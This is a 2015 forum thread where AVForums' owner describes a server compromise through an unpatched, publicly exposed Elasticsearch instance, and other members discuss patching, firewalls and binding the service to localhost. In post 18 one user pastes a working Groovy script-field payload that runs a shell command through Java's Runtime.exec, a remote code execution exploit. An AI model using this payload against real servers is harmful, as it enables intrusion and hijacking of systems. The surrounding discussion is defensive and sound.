1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Check your Elastic Search installation - AVForums was hacked Saturday 7th March

Discussion in 'Off Topic' started by Stuart Wright, Mar 8, 2015.

  1. Stuart Wright

    Stuart Wright Well-Known Member

    Last night at 8pm I got a message from Tim Dunton at Nimbus Hosting that our #2 database server had been hacked at about 6:30pm.
    The hackers were using our server to run a DDOS against a Chinese IP. There is no evidence that they took the database (we would see SQL dumps and none are visible).
    Tim shut the server down immediately. This meant that our remaining server could not cope with the search load and AVForums ground to a halt with errors.
    We have one addon which relies on the search and does not obey the search enabled/disabled option in the admin settings. So even disabling the search meant we were getting Elastic Search errors continuing. Disabling the [XenMods] [Widgets] (bd Widget Framework) addon meant the forums could come back online.

    The best idea of how we were hacked is that a known vulnerability in our search engine Elastic Search was used to gain root access to the server.
    Elasticsearch.org Elasticsearch 1.4.3 And 1.3.8 Released | Blog | Elasticsearch
    So we were hacked because
    1. There was a vulnerability in our Elastic Search installation because
    2. we were using an older version of Elastic Search which contained the vulnerability and
    3. we had the Elastic Search port open to the public which mean hackers could get to it.
    Standard procedure when a hack happens is to wipe and reinstall the server, which Tim did this morning.
    That means we have to recreate the search index and that is ongoing. With 20 million posts and near 2 million threads, it takes hours. Until that happens, the search will either be offline or online with limited results.

    What have we done to ensure this doesn't happen again?
    Tim has installed the latest version of Elastic Search on the servers (which patches the vulnerability) and the 'recon' function which automatically installs Elastic Search updates so that we won't lag behind security patches in the future.
    He has also taken the Elastic Search port away from public view so that nobody can access is externally any more.

    We can't say for sure that the database wasn't taken, but we don't think it was as the purpose of the hack seems to have been just to launch the DDOS.
    Passwords are encrypted, so they won't have been compromised. For the purposes of transparency, I have declared on AVForums that there is a small possibility that peoples' emails were taken.

    If you're running Elastic Search, make sure it's running the latest version and that the post is not public facing.

    ****ing hackers.
  2. AdamD

    AdamD Well-Known Member

    Yikes, horrible situation to be in. :(
    I take it you didn't/don't monitor security release information?
  3. MattW

    MattW Well-Known Member

    So was your elasticsearch bound to a public facing ip address?
    HWS and surfsup like this.
  4. TheBigK

    TheBigK Well-Known Member

    Curious to learn about recon function. Anyone?
  5. Slavik

    Slavik XenForo Moderator Staff Member

  6. Stuart Wright

    Stuart Wright Well-Known Member

    Nope. Never been to the ES website before today. Not only did I not consider it important, I didn't even think about it.

    I guess so. All I understand is that the port was open.
    AdamD likes this.
  7. Xon

    Xon Well-Known Member


    The Elastic Search website doesn't have a dedicated security feed and the blog is full of other random chatter which is mostly product press releases.
  8. eva2000

    eva2000 Well-Known Member

    ouch.. remember to put a firewall up on the elasticsearch server too
    Xon likes this.
  9. SilverCircle

    SilverCircle Well-Known Member

    It is a common misconception that a firewall will solve all problems, especially if the problem was caused by a very simple configuration error and should not have existed in the first place.

    Basic rule: Any service that does not *have* to be accessible from the outside simply must not listen on public network interfaces. I have seen countless such errors and in most cases, the admins were not even aware of the problem and when told about it, they often did not understand the risks, which are vast and dangerous. Most services, which are not supposed to listen on public interfaces (like caches, database servers and other typical backend services) often contain dangerous unknown security holes, simply because they are typically not exposed to the public and therefore not attackable by normal means.

    Always remember: A minimalistic approach (only expose to the public what have to be exposed) and proper isolation is, by far, the most efficient method to battle security problems. Using a firewall software (which might have its own share of issues) to block access to something that shouldn't be there in the first place means to fight the symptoms instead of the actual disease.

    A backend server that only runs backend stuff should be completely inaccessible from the outside. If that's not possible, because it is shared for both backend and frontend stuff, then it is important to properly isolate the backend services.
    Xon, eva2000 and Walter like this.
  10. Mike Edge

    Mike Edge Formerly Da Bookie Mon

    Isn't Nimbus managed hosting? Why was a known vulnerability since May never corrected until you were hacked almost 10 months later? Seems they really dropped the ball on this one.
  11. eva2000

    eva2000 Well-Known Member

    @SilverCircle agreed..

    However, a properly configured firewall should be in place regardless and is part of the process in isolating the backend :)

    @Stuart Wright FYI, ES 1.4.4 is latest http://www.elasticsearch.org/blog/elasticsearch-1-4-4-and-1-3-9-released/

    yum list available --disablerepo=* --enablerepo=elasticsearch-1.4 -q
    Available Packages
    elasticsearch.noarch 1.4.4-1 elasticsearch-1.4
    curl localhost:9200/_nodes/process?pretty
      "cluster_name" : "cname",
      "nodes" : {
        "xrtV2RciQsugxxxawfRVmbA" : {
          "name" : "Speed",
          "transport_address" : "local[1]",
          "host" : "hostname",
          "ip" : "ipaddress",
          "version" : "1.4.4",
          "build" : "c88f77f",
          "http_address" : "inet[/]",
          "attributes" : {
            "local" : "true"
          "process" : {
            "refresh_interval_in_millis" : 1000,
            "id" : 4863,
            "max_file_descriptors" : 262144,
            "mlockall" : false
    SneakyDave likes this.
  12. Deathstarr

    Deathstarr Active Member

    managed service and you keeping codes up to date is different. Now while I see they do offer xenforo hosting and offer managed service, I as a admin would not expect them to keep my addons up to date when I can check and ask them to install them. I find it wild that you expect your hosting company to manage your forum software and servers and keep your addons up to date while suggesting more services that you might find useful.

    just my opinion.
  13. digitalpoint

    digitalpoint Well-Known Member

    While maybe ES 1.4.3 fixed a security exploit, I think it's crazy that your host would *ever* think it was a good idea to allow direct ES connections from the outside world. It's the same as other internal services... Memcached, MySQL, etc. normally should never allow connections from the outside.

    Just to be safe on my servers, I block all traffic except port 80 and 443 from CloudFlare IP addresses. No other IPs or ports have any business doing anything from the outside.
    Last edited: Mar 8, 2015
    cclaerhout, AndyB, HWS and 3 others like this.
  14. Slavik

    Slavik XenForo Moderator Staff Member

    Given Nimbus were actually involved in helping track down the issue when it first came to light, I imagine there's more to the story than we know.
  15. Daniel Hood

    Daniel Hood Well-Known Member

    This will be addressed in an update released tomorrow or the next day (if you disable search it will basically disable the widget although the widget will still be enabled technically).

    I'll also include a fix for when/if ElasticSearch throws an exception, even though it should be rare.
    jeffwidman and Stuart Wright like this.
  16. ManagerJosh

    ManagerJosh Well-Known Member


    Perchance do you have any logs you could share? I'd love to review them with our incident response team.
  17. Stuart Wright

    Stuart Wright Well-Known Member

    To be clear, Tim informed me about the issue on AVForums on Saturday. It was Shawn @digitalpoint on Skype Saturday evening who alerted us to the Elastic page about the update. Up to that point neither Tim nor I were aware of it.
    RoldanLT and Xon like this.
  18. ManagerJosh

    ManagerJosh Well-Known Member

    Proof of concept code:

        "size": 1,
        "query": {
            "match_all": {}
        "script_fields": {
            "exploit": {
                "lang": "groovy",
                "script": "java.lang.Math.class.forName(\"java.util.Scanner\").getConstructor(java.lang.Math.class.forName(\"java.io.InputStream\")).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"uname -a\").getInputStream()).useDelimiter(\"\\\\A\").next()"
    Better more simple proof of concept:

       "script_fields": {
              "myscript": {
  19. Slavik

    Slavik XenForo Moderator Staff Member

    I was referring more to the problem of having the ES port publicly available.
  20. CyclingTribe

    CyclingTribe Well-Known Member

    I wasn't aware of the security issue so thanks for the heads-up; mine is now pointing to localhost [] - it had defaulted to using my server's external IP address.

Share This Page